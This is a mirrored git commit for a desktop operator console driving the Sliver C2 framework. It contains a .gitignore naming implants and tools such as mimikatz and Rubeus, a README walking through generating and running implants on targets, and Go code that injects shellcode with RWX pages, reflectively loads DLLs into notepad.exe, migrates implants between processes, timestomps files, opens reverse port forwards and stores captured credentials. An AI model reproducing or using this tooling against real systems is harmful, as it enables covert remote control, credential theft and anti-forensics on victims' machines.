mirror of
https://github.com/Mr-In4inci3le/sliver-gui
synced 2026-08-09 12:14:37 +00:00
Full operator console: interactive graph, per-agent + server consoles, tunneling, tokens, execution, extensions/BOFs, integrity checks, loot/creds/hosts/websites/canaries
This commit is contained in:
Executable
+51
@@ -0,0 +1,51 @@
|
||||
# ── Build output ─────────────────────────────────────────────
|
||||
build/bin/
|
||||
build/*.o
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Wails generated bindings/dev artifacts
|
||||
frontend/wailsjs/
|
||||
frontend/dist/wailsjs/
|
||||
node_modules/
|
||||
|
||||
# ── Operator credentials — NEVER commit these ────────────────
|
||||
# Sliver operator config files contain live mTLS keys + auth tokens.
|
||||
*.cfg
|
||||
*.pem
|
||||
*.key
|
||||
*.p12
|
||||
operators/
|
||||
configs/
|
||||
|
||||
# ── Downloaded loot / implants / dumps ───────────────────────
|
||||
# Avoid committing anything pulled off a target or generated.
|
||||
*.dmp
|
||||
*.bin
|
||||
loot/
|
||||
implants/
|
||||
downloads/
|
||||
# Generated Sliver implants (our GUI names them <goos>-<goarch>-<id>[.exe],
|
||||
# which also catches extension-less Linux ELF implants).
|
||||
*-amd64-*
|
||||
*-386-*
|
||||
*-arm64-*
|
||||
# Common offensive tool binaries you may have staged locally.
|
||||
mimikatz*
|
||||
Rubeus*
|
||||
GodPotato*
|
||||
nanodump*
|
||||
|
||||
# ── Go ───────────────────────────────────────────────────────
|
||||
vendor/
|
||||
*.test
|
||||
*.out
|
||||
|
||||
# ── Editor / OS cruft ────────────────────────────────────────
|
||||
.idea/
|
||||
.vscode/
|
||||
*.swp
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
@@ -1,31 +1,132 @@
|
||||
# Sliver GUI
|
||||
|
||||
A desktop operator console for [Sliver C2](https://github.com/BishopFox/sliver),
|
||||
in the spirit of Cobalt Strike / Havoc's GUIs. It does **not** reimplement any
|
||||
C2 protocol logic it's a thin Wails (Go + web) frontend over Sliver's
|
||||
existing `rpcpb.SliverRPC` gRPC service, using the same mTLS operator config
|
||||
files the official `sliver-client` uses.
|
||||
**A desktop operator console for [Sliver C2](https://github.com/BishopFox/sliver) GUI developed by [Raj Kumar Mullapudi](#author--credits).**
|
||||
|
||||
In the spirit of Cobalt Strike / Havoc's GUIs. It does **not** reimplement any
|
||||
C2 protocol logic it's a thin [Wails v2](https://wails.io) (Go + plain
|
||||
HTML/CSS/JS) frontend over Sliver's existing `rpcpb.SliverRPC` gRPC service,
|
||||
using the same mTLS operator config files the official `sliver-client` uses.
|
||||
|
||||
> This project is the **GUI layer only**. The Sliver C2 framework it drives is a
|
||||
> separate project by BishopFox all C2 capability comes from Sliver; this repo
|
||||
> contributes the desktop operator interface on top of it.
|
||||
|
||||
> ⚠️ **Authorized use only.** This is an offensive-security tool. Use it solely
|
||||
> on systems you own or have **explicit written permission** to test. You are
|
||||
> responsible for complying with all applicable laws.
|
||||
|
||||
---
|
||||
|
||||
## Screenshots
|
||||
|
||||
<img width="1912" height="837" alt="1" src="https://github.com/user-attachments/assets/34de2c40-85d6-4d5f-b985-80f9d335e93d" />
|
||||
<br><br>
|
||||
<img width="1912" height="842" alt="2" src="https://github.com/user-attachments/assets/11b4ffbd-5451-402d-b7b2-1c7ca40a4f37" />
|
||||
<br><br>
|
||||
<img width="1907" height="826" alt="3" src="https://github.com/user-attachments/assets/7d5ae20f-0d29-415a-879c-e468fc60e7a0" />
|
||||
<br><br>
|
||||
<img width="1907" height="832" alt="4" src="https://github.com/user-attachments/assets/1cbe4e8c-a261-49cd-8882-b5988b664928" />
|
||||
<br><br>
|
||||
<img width="1904" height="837" alt="5" src="https://github.com/user-attachments/assets/86f36f9e-3bbe-4f9a-a436-7d6d38ed49c4" />
|
||||
<br><br>
|
||||
<img width="1910" height="830" alt="6" src="https://github.com/user-attachments/assets/c15aa69d-7a46-4320-ba9f-8de90084cad5" />
|
||||
|
||||
> Screenshots reflect the current interactive graph, per-agent + server consoles,
|
||||
> and management panels.
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
**Connection**
|
||||
- Connect with a Sliver operator `.cfg` file (mTLS cert + token the same
|
||||
credential the official client uses; no username/password).
|
||||
- Live event stream (session/beacon/job events) with toast notifications.
|
||||
- Auto-reconnect with a countdown overlay if the teamserver drops.
|
||||
|
||||
**Agent overview**
|
||||
- Combined **sessions + beacons** table (type, host, user, OS/arch, PID,
|
||||
transport, last check-in, status).
|
||||
- Interactive **graph view** drag nodes, pan, scroll to zoom, straight edges,
|
||||
OS icons (Windows/Linux, privileged vs. user), privileged agents highlighted,
|
||||
dead agents greyed out. Double-click a node to interact.
|
||||
- Right-click menu: Interact / Rename / Kill.
|
||||
|
||||
**Per-agent console** (double-click an agent)
|
||||
- Sessions run commands in real time; beacons queue commands and poll for
|
||||
results on the next check-in.
|
||||
- Native RPC-backed commands (no shell spawned unless you ask):
|
||||
`ps · ls · cd · pwd · cat · mkdir · rm · mv · cp · chmod · chown · download ·
|
||||
upload · screenshot · netstat · ifconfig · env · getenv · setenv · unsetenv ·
|
||||
reg · whoami · getprivs · getpid · procdump · kill · chtimes · execute ·
|
||||
execute-assembly · execute-shellcode · sideload · spawndll · getsystem ·
|
||||
make-token · impersonate · rev2self · runas · migrate · backdoor · dllhijack ·
|
||||
msf · msf-inject · extensions · ext · socks · portfwd · rportfwd · wg-portfwd ·
|
||||
wg-socks · pivot · services · loot · shell`
|
||||
- **Extensions / BOFs:** `extensions` lists installed + loaded extensions;
|
||||
`ext <command> [args]` loads and runs an extension or BOF (e.g. `ext sa-whoami`,
|
||||
`ext nanodump ...`). Reads manifests from `~/.sliver-client/extensions`, packs
|
||||
BOF arguments via Sliver's own `core.BOFArgsBuffer`, and routes BOFs through
|
||||
their coff-loader dependency — same flow as the official client.
|
||||
- Beacon-only: `tasks`, `reconfig <interval> <jitter>` (change check-in speed
|
||||
live), `interactive` (promote a beacon to a session).
|
||||
- `shell <cmd>` and unrecognized input run in the target's OS shell.
|
||||
- Type `help` in any console for the full list.
|
||||
|
||||
**Server console** (pinned tab)
|
||||
- A `sliver >` prompt for teamserver commands:
|
||||
`sessions · beacons · jobs [kill <id>] · operators · loot · hosts · creds ·
|
||||
builds · regenerate <name> · profiles · c2profiles · websites · canaries ·
|
||||
stager · use <id> · rename · kill-session/kill-beacon · version ·
|
||||
mtls/http/https/dns/wg <…>`.
|
||||
|
||||
**Panels**
|
||||
- **Listeners** start/stop mTLS, HTTP, HTTPS, DNS (and WireGuard) listeners.
|
||||
- **Generate** build implants; pick an active listener to auto-fill the C2 URL;
|
||||
session or beacon mode; saves the binary via a native dialog.
|
||||
- **Builds** list and delete previous implant builds.
|
||||
- **Profiles** create / delete implant profiles and generate from them.
|
||||
- **Loot** shared loot store: `loot add <file>` from a session, download or
|
||||
delete items from the panel.
|
||||
- **Creds** shared credential store: add / list / delete captured credentials.
|
||||
- **Hosts** the teamserver's host database (seen hosts, OS, first contact).
|
||||
- **Operators** who's connected.
|
||||
- **Event Log** full activity history (pinned in the console by default).
|
||||
|
||||
**Quality-of-life**
|
||||
- Per-agent **operator notes** (in-memory, cleared on disconnect).
|
||||
- **Command palette** `Ctrl+K` to jump to any agent or panel.
|
||||
- **On-demand integrity check** right-click a session → *Check Integrity* runs
|
||||
`getprivs` and repaints the node/table by its real level (SYSTEM / High /
|
||||
Medium), instead of guessing from the username.
|
||||
- Privilege-aware graph: SYSTEM/admin agents get red edges + a `★ LEVEL` badge;
|
||||
beacons are dashed blue; dead agents use a distinct dead icon.
|
||||
|
||||
---
|
||||
|
||||
## Why Wails, not Electron
|
||||
|
||||
Sliver itself is written in Go and ships a reusable client package
|
||||
(`github.com/bishopfox/sliver/client` + `protobuf/{clientpb,rpcpb,sliverpb}`).
|
||||
Wails lets the Go backend import those packages directly and call the real
|
||||
generated gRPC stubs no grpc-web proxy, no reimplementing the protocol in
|
||||
JS, and no drift when upstream changes their `.proto` files.
|
||||
Sliver is written in Go and ships reusable client packages
|
||||
(`github.com/bishopfox/sliver/protobuf/{clientpb,rpcpb,sliverpb}`). Wails lets
|
||||
the Go backend import those directly and call the real generated gRPC stubs
|
||||
no grpc-web proxy, no reimplementing the protocol in JS, and no drift when
|
||||
upstream changes their `.proto` files.
|
||||
|
||||
## Project layout
|
||||
|
||||
```
|
||||
sliver-gui/
|
||||
├── main.go # Wails entrypoint
|
||||
├── app.go # Bound methods exposed to the frontend
|
||||
├── main.go # Wails entrypoint
|
||||
├── app.go # Bound methods exposed to the frontend
|
||||
├── internal/sliverclient/
|
||||
│ └── client.go # mTLS connection + RPC helpers
|
||||
├── frontend/dist/ # Plain HTML/CSS/JS UI (no bundler required)
|
||||
│ ├── index.html
|
||||
│ ├── style.css
|
||||
│ └── main.js
|
||||
│ └── client.go # mTLS connection + RPC helpers
|
||||
├── frontend/
|
||||
│ ├── dist/ # Plain HTML/CSS/JS UI (no bundler)
|
||||
│ │ ├── index.html
|
||||
│ │ ├── style.css
|
||||
│ │ ├── main.js
|
||||
│ │ └── icons/ # Node icons (embedded in the build)
|
||||
│ └── icons/ # Source icons (copy into dist/ before building)
|
||||
├── go.mod
|
||||
└── wails.json
|
||||
```
|
||||
@@ -33,69 +134,109 @@ sliver-gui/
|
||||
## Prerequisites
|
||||
|
||||
- Go 1.22+
|
||||
- [Wails v2 CLI](https://wails.io/docs/gettingstarted/installation): `go install github.com/wailsapp/wails/v2/cmd/wails@latest`
|
||||
- A Sliver teamserver you have an operator account on, and its `.cfg` file
|
||||
(generate one server-side: `sliver-server operator --name <you> --lhost <teamserver> --save <you>.cfg`)
|
||||
- [Wails v2 CLI](https://wails.io/docs/gettingstarted/installation):
|
||||
`go install github.com/wailsapp/wails/v2/cmd/wails@latest`
|
||||
- Linux WebKit build deps (Debian/Kali/Ubuntu):
|
||||
`sudo apt install libgtk-3-dev libwebkit2gtk-4.1-dev build-essential pkg-config`
|
||||
- A Sliver teamserver you have an operator account on, and its `.cfg` file:
|
||||
```
|
||||
sliver-server operator --name <you> --lhost <teamserver> --save <you>.cfg
|
||||
```
|
||||
|
||||
## Getting the dependencies
|
||||
## Build & run
|
||||
|
||||
This scaffold was built in a sandboxed environment without access to the Go
|
||||
module proxy, so `go.sum` isn't included yet. On a machine with normal
|
||||
internet access:
|
||||
Fetch dependencies (needs internet the first time):
|
||||
|
||||
```bash
|
||||
cd sliver-gui
|
||||
go mod tidy # pulls bishopfox/sliver, wails/v2, grpc, etc.
|
||||
go mod tidy
|
||||
```
|
||||
|
||||
## Running in dev mode
|
||||
Make sure the icons are in the embedded frontend, then build (Linux uses the
|
||||
WebKit 4.1 build tag):
|
||||
|
||||
```bash
|
||||
wails dev
|
||||
cp -r frontend/icons frontend/dist/icons # first build only
|
||||
wails build -tags webkit2_41
|
||||
./build/bin/sliver-gui
|
||||
```
|
||||
|
||||
## Building a release binary
|
||||
Dev mode (hot reload):
|
||||
|
||||
```bash
|
||||
wails build
|
||||
wails dev -tags webkit2_41
|
||||
```
|
||||
## Screenshots
|
||||
<img width="1912" height="837" alt="1" src="https://github.com/user-attachments/assets/34de2c40-85d6-4d5f-b985-80f9d335e93d" />
|
||||
<br>
|
||||
<br />
|
||||
<img width="1912" height="842" alt="2" src="https://github.com/user-attachments/assets/11b4ffbd-5451-402d-b7b2-1c7ca40a4f37" />
|
||||
<br>
|
||||
<br />
|
||||
<img width="1907" height="826" alt="3" src="https://github.com/user-attachments/assets/7d5ae20f-0d29-415a-879c-e468fc60e7a0" />
|
||||
<br>
|
||||
<br />
|
||||
<img width="1907" height="832" alt="4" src="https://github.com/user-attachments/assets/1cbe4e8c-a261-49cd-8882-b5988b664928" />
|
||||
<br>
|
||||
<br />
|
||||
<img width="1904" height="837" alt="5" src="https://github.com/user-attachments/assets/86f36f9e-3bbe-4f9a-a436-7d6d38ed49c4" />
|
||||
<br>
|
||||
<br />
|
||||
<img width="1910" height="830" alt="6" src="https://github.com/user-attachments/assets/c15aa69d-7a46-4320-ba9f-8de90084cad5" />
|
||||
|
||||
> On systems with WebKit 4.0 instead of 4.1, drop `-tags webkit2_41`.
|
||||
|
||||
## Current feature scope (v1)
|
||||
## Usage
|
||||
|
||||
- Connect via operator `.cfg` (mTLS, reuses Sliver's existing auth — no
|
||||
custom auth system built here)
|
||||
- Session table (host / user / OS / transport / status), auto-refreshing
|
||||
- Session rename
|
||||
- Implant generation (GOOS/GOARCH/format/C2 URL → build)
|
||||
- Saved HTTP(S) C2 profile listing
|
||||
- Connected operator presence list
|
||||
1. Launch the app, click **Select operator .cfg**, choose your `.cfg`, then
|
||||
**Connect**.
|
||||
2. Start a listener (**Listeners** panel or `mtls 8443` in the Server console).
|
||||
3. **Generate** an implant pick your listener from the *From Listener*
|
||||
dropdown so the C2 URL is filled correctly (point it at a **C2 listener
|
||||
port**, not the teamserver's operator port).
|
||||
4. Run the implant on the target; the session/beacon appears in the table/graph.
|
||||
5. Double-click it to open a console, or `use <id-prefix>` in the Server console.
|
||||
|
||||
## Not yet built (next steps)
|
||||
## Notes & known behaviors
|
||||
|
||||
- Interactive session console (shell/task streaming) needs a tabbed
|
||||
terminal view wired to session-scoped RPCs
|
||||
- File browser / process list per session
|
||||
- Loot browser
|
||||
- C2 profile *editor* (currently read-only listing)
|
||||
- Real-time event stream (new session / operator join) via Sliver's
|
||||
streaming RPCs instead of polling
|
||||
- Implant build log streaming (`BuilderRegister`/`BuilderTrigger`) for
|
||||
remote/offline builders
|
||||
- **Sessions vs. beacons:** sessions are real-time; beacons only respond on
|
||||
their check-in interval (interval ± jitter), so beacon output is delayed by
|
||||
design. Use a shorter interval or a session for interactive work.
|
||||
- **`getsystem <profile>`** builds a fresh implant from a saved profile, so the
|
||||
profile must be a complete, buildable config. Profiles created with older
|
||||
versions may fail delete and recreate them.
|
||||
- **Symbol obfuscation** is disabled for generated implants so builds work on a
|
||||
stock teamserver (garble isn't required).
|
||||
- Built and tested against **Sliver v1.7.x**. Other versions may have different
|
||||
protobuf field names.
|
||||
|
||||
## Architecture (for contributors)
|
||||
|
||||
- Every backend capability is an exported method on the `App` struct in
|
||||
`app.go`; Wails auto-binds them to `window.go.main.App.*` in JS.
|
||||
- All session-scoped RPCs use `&commonpb.Request{SessionID: ...}`; beacon tasks
|
||||
use `BeaconID` + `Async` and are polled via `GetBeaconTasks` /
|
||||
`GetBeaconTaskContent`.
|
||||
- SOCKS5 / port-forward open a local TCP listener and relay bytes over the
|
||||
respective streaming RPC.
|
||||
- The frontend is dependency-free plain JS in `frontend/dist/` (no npm/bundler).
|
||||
|
||||
## Author & Credits
|
||||
|
||||
- **GUI (this project) designed and developed by [Raj Kumar Mullapudi](mailto:in4inci3le001@gmail.com).**
|
||||
This includes the entire Wails backend (`app.go`, `internal/sliverclient`),
|
||||
the plain-JS/HTML/CSS frontend (interactive graph, per-agent console, server
|
||||
console, panels, command palette, operator notes), and all RPC wiring.
|
||||
- **Sliver C2 framework by [BishopFox](https://github.com/BishopFox/sliver).**
|
||||
All command-and-control capability comes from Sliver; this project is a client
|
||||
interface for it and does not modify or redistribute the framework itself.
|
||||
- **[Wails](https://wails.io)** the Go + web desktop framework this is built on.
|
||||
|
||||
## Roadmap
|
||||
|
||||
Implemented: sessions/beacons, interactive graph, per-agent + server consoles,
|
||||
full filesystem/process/network/registry/token/execution command sets,
|
||||
tunneling (socks/portfwd/rportfwd/pivots/wireguard), listeners, generation,
|
||||
profiles, builds, loot, creds, hosts, websites, canaries, stager listeners,
|
||||
**extensions/BOFs**, operator notes, command palette, and on-demand integrity
|
||||
checks.
|
||||
|
||||
Not yet built (contributions welcome):
|
||||
- Armory package **install** (download/verify extensions from the armory repos;
|
||||
extension *loading/running* is already implemented)
|
||||
- `crack` (hashcat cluster) · `cursed` (Chrome/Electron injection) · `wasm` extensions
|
||||
- HTTP C2 profile **editor** (currently read-only listing)
|
||||
- External/offline builder log streaming (`BuilderRegister`/`BuilderTrigger`)
|
||||
- Certificate management panel
|
||||
|
||||
## License
|
||||
|
||||
This project links against [BishopFox/sliver](https://github.com/BishopFox/sliver),
|
||||
which is licensed under the **GNU General Public License v3.0**. As a derivative
|
||||
work, this project (the GUI) is distributed under the **same GPLv3 license**.
|
||||
See the `LICENSE` file.
|
||||
|
||||
Copyright (C) 2026 Raj Kumar Mullapudi (GUI frontend). Sliver C2 is
|
||||
Copyright (C) BishopFox.
|
||||
|
||||
@@ -1016,6 +1016,561 @@ func (a *App) DownloadFileTo(sessionID, remotePath, localPath string) TransferRe
|
||||
return TransferResult{Path: localPath, Bytes: int64(len(data))}
|
||||
}
|
||||
|
||||
// ─── Advanced execution / privilege (session) ───────────────────────────────────
|
||||
|
||||
// RunAs runs a program as another user (Windows).
|
||||
func (a *App) RunAs(sessionID, username, domain, password, program, args string) (string, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
resp, err := client.RPC.RunAs(a.ctx, &sliverpb.RunAsReq{
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
ProcessName: program,
|
||||
Args: args,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return resp.Output, nil
|
||||
}
|
||||
|
||||
// Migrate injects the implant into another process (pid), building the payload
|
||||
// from a saved implant profile's config.
|
||||
func (a *App) Migrate(sessionID string, pid uint32, profileName string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
cfg, err := a.profileConfig(profileName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.Migrate(a.ctx, &clientpb.MigrateReq{
|
||||
Pid: pid,
|
||||
Config: cfg,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// profileConfig fetches a saved implant profile's config by name.
|
||||
func (a *App) profileConfig(name string) (*clientpb.ImplantConfig, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
profiles, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, p := range profiles.Profiles {
|
||||
if p.Name == name {
|
||||
if p.Config == nil {
|
||||
return nil, fmt.Errorf("profile %q has no config", name)
|
||||
}
|
||||
// getsystem/migrate inject SHELLCODE into a process, so rebuild a
|
||||
// fresh, complete config from the profile's core params with the
|
||||
// format forced to shellcode. This avoids stale/partial fields from
|
||||
// the DB round-trip that can produce invalid generated source.
|
||||
req := GenerateRequest{
|
||||
GOOS: p.Config.GOOS,
|
||||
GOARCH: p.Config.GOARCH,
|
||||
Format: "shellcode",
|
||||
Debug: p.Config.Debug,
|
||||
}
|
||||
if len(p.Config.C2) > 0 {
|
||||
req.C2URL = p.Config.C2[0].URL
|
||||
}
|
||||
if req.C2URL == "" {
|
||||
return nil, fmt.Errorf("profile %q has no C2 URL", name)
|
||||
}
|
||||
return a.buildImplantConfig(req), nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("implant profile %q not found — create one in the Profiles panel first", name)
|
||||
}
|
||||
|
||||
// ExecuteShellcode injects shellcode (opened via a native dialog) into a process.
|
||||
// pid 0 = the implant's own process.
|
||||
func (a *App) ExecuteShellcode(sessionID, localPath string, pid uint32) AssemblyResult {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
data, err := a.readLocalOrDialog(localPath, "Select shellcode (.bin)")
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
_, err = client.RPC.Task(a.ctx, &sliverpb.TaskReq{
|
||||
Data: data,
|
||||
Pid: pid,
|
||||
RWXPages: true,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
return AssemblyResult{Output: "[+] shellcode injected"}
|
||||
}
|
||||
|
||||
// SpawnDll reflectively loads a DLL (opened via a native dialog) into a process.
|
||||
func (a *App) SpawnDll(sessionID, localPath, args, entryPoint string) AssemblyResult {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
data, err := a.readLocalOrDialog(localPath, "Select reflective DLL")
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
ep := entryPoint
|
||||
if ep == "" {
|
||||
ep = "ReflectiveLoader"
|
||||
}
|
||||
_, err = client.RPC.SpawnDll(a.ctx, &sliverpb.InvokeSpawnDllReq{
|
||||
Data: data,
|
||||
ProcessName: "notepad.exe",
|
||||
Args: strings.Fields(args),
|
||||
EntryPoint: ep,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
if err != nil {
|
||||
return AssemblyResult{Error: err.Error()}
|
||||
}
|
||||
return AssemblyResult{Output: "[+] DLL spawned"}
|
||||
}
|
||||
|
||||
func (a *App) Chmod(sessionID, path, mode string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.Chmod(a.ctx, &sliverpb.ChmodReq{
|
||||
Path: path,
|
||||
FileMode: mode,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func (a *App) Chown(sessionID, path, uid, gid string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.Chown(a.ctx, &sliverpb.ChownReq{
|
||||
Path: path,
|
||||
Uid: uid,
|
||||
Gid: gid,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// Chtimes timestomps a file — sets access + modified time (unix seconds).
|
||||
func (a *App) Chtimes(sessionID, path string, atime, mtime int64) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.Chtimes(a.ctx, &sliverpb.ChtimesReq{
|
||||
Path: path,
|
||||
ATime: atime,
|
||||
MTime: mtime,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// ─── Reverse port forwarding (session) ──────────────────────────────────────────
|
||||
|
||||
type RportFwdView struct {
|
||||
ID uint32 `json:"id"`
|
||||
Bind string `json:"bind"`
|
||||
Forward string `json:"forward"`
|
||||
}
|
||||
|
||||
func (a *App) StartRportFwd(sessionID, bindAddr string, bindPort int, fwdAddr string, fwdPort int) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.StartRportFwdListener(a.ctx, &sliverpb.RportFwdStartListenerReq{
|
||||
BindAddress: bindAddr,
|
||||
BindPort: uint32(bindPort),
|
||||
ForwardAddress: fwdAddr,
|
||||
ForwardPort: uint32(fwdPort),
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func (a *App) ListRportFwds(sessionID string) ([]RportFwdView, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, err := client.RPC.GetRportFwdListeners(a.ctx, &sliverpb.RportFwdListenersReq{
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]RportFwdView, 0, len(resp.Listeners))
|
||||
for _, l := range resp.Listeners {
|
||||
out = append(out, RportFwdView{
|
||||
ID: l.ID,
|
||||
Bind: fmt.Sprintf("%s:%d", l.BindAddress, l.BindPort),
|
||||
Forward: fmt.Sprintf("%s:%d", l.ForwardAddress, l.ForwardPort),
|
||||
})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (a *App) StopRportFwd(sessionID string, id uint32) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.StopRportFwdListener(a.ctx, &sliverpb.RportFwdStopListenerReq{
|
||||
ID: id,
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// ReconfigureBeacon changes a live beacon's check-in interval/jitter (seconds).
|
||||
// Applied on the beacon's next check-in.
|
||||
func (a *App) ReconfigureBeacon(beaconID string, interval, jitter int64) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.Reconfigure(a.ctx, &sliverpb.ReconfigureReq{
|
||||
BeaconInterval: interval * int64(time.Second),
|
||||
BeaconJitter: jitter * int64(time.Second),
|
||||
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// InteractiveBeacon asks a beacon to open an interactive session on next check-in.
|
||||
func (a *App) InteractiveBeacon(beaconID string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.OpenSession(a.ctx, &sliverpb.OpenSession{
|
||||
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// ─── Regenerate / Hosts / Creds (server) ────────────────────────────────────────
|
||||
|
||||
// RegenerateBuild re-downloads a previously built implant by name and saves it.
|
||||
func (a *App) RegenerateBuild(name string) TransferResult {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return TransferResult{Error: err.Error()}
|
||||
}
|
||||
resp, err := client.RPC.Regenerate(a.ctx, &clientpb.RegenerateReq{ImplantName: name})
|
||||
if err != nil {
|
||||
return TransferResult{Error: err.Error()}
|
||||
}
|
||||
if resp.File == nil {
|
||||
return TransferResult{Error: "no stored build for " + name}
|
||||
}
|
||||
savePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
|
||||
DefaultFilename: resp.File.Name,
|
||||
Title: "Save regenerated implant",
|
||||
})
|
||||
if err != nil || savePath == "" {
|
||||
return TransferResult{Error: "save cancelled"}
|
||||
}
|
||||
if err := os.WriteFile(savePath, resp.File.Data, 0755); err != nil {
|
||||
return TransferResult{Error: err.Error()}
|
||||
}
|
||||
return TransferResult{Path: savePath, Bytes: int64(len(resp.File.Data))}
|
||||
}
|
||||
|
||||
type HostView struct {
|
||||
ID string `json:"id"`
|
||||
Hostname string `json:"hostname"`
|
||||
OS string `json:"os"`
|
||||
UUID string `json:"uuid"`
|
||||
Locale string `json:"locale"`
|
||||
FirstSeen string `json:"firstSeen"`
|
||||
}
|
||||
|
||||
func (a *App) ListHosts() ([]HostView, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, err := client.RPC.Hosts(a.ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]HostView, 0, len(resp.Hosts))
|
||||
for _, h := range resp.Hosts {
|
||||
fs := ""
|
||||
if h.FirstContact > 0 {
|
||||
fs = time.Unix(h.FirstContact, 0).Format("2006-01-02 15:04")
|
||||
}
|
||||
out = append(out, HostView{ID: h.ID, Hostname: h.Hostname, OS: h.OSVersion, UUID: h.HostUUID, Locale: h.Locale, FirstSeen: fs})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (a *App) DeleteHost(hostID string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.HostRm(a.ctx, &clientpb.Host{ID: hostID})
|
||||
return err
|
||||
}
|
||||
|
||||
type CredView struct {
|
||||
ID string `json:"id"`
|
||||
Username string `json:"username"`
|
||||
Plain string `json:"plaintext"`
|
||||
Hash string `json:"hash"`
|
||||
Cracked bool `json:"cracked"`
|
||||
}
|
||||
|
||||
func (a *App) ListCreds() ([]CredView, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, err := client.RPC.Creds(a.ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]CredView, 0, len(resp.Credentials))
|
||||
for _, c := range resp.Credentials {
|
||||
out = append(out, CredView{ID: c.ID, Username: c.Username, Plain: c.Plaintext, Hash: c.Hash, Cracked: c.IsCracked})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (a *App) AddCred(username, plaintext, hash string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.CredsAdd(a.ctx, &clientpb.Credentials{
|
||||
Credentials: []*clientpb.Credential{{Username: username, Plaintext: plaintext, Hash: hash}},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func (a *App) DeleteCred(id string) error {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = client.RPC.CredsRm(a.ctx, &clientpb.Credentials{
|
||||
Credentials: []*clientpb.Credential{{ID: id}},
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
// ─── Websites / Canaries (server) ───────────────────────────────────────────────
|
||||
|
||||
type WebsiteView struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Paths int `json:"paths"`
|
||||
}
|
||||
|
||||
func (a *App) ListWebsites() ([]WebsiteView, error) {
|
||||
client, err := a.requireClient()
|
||||
if err != nil {
|
||||
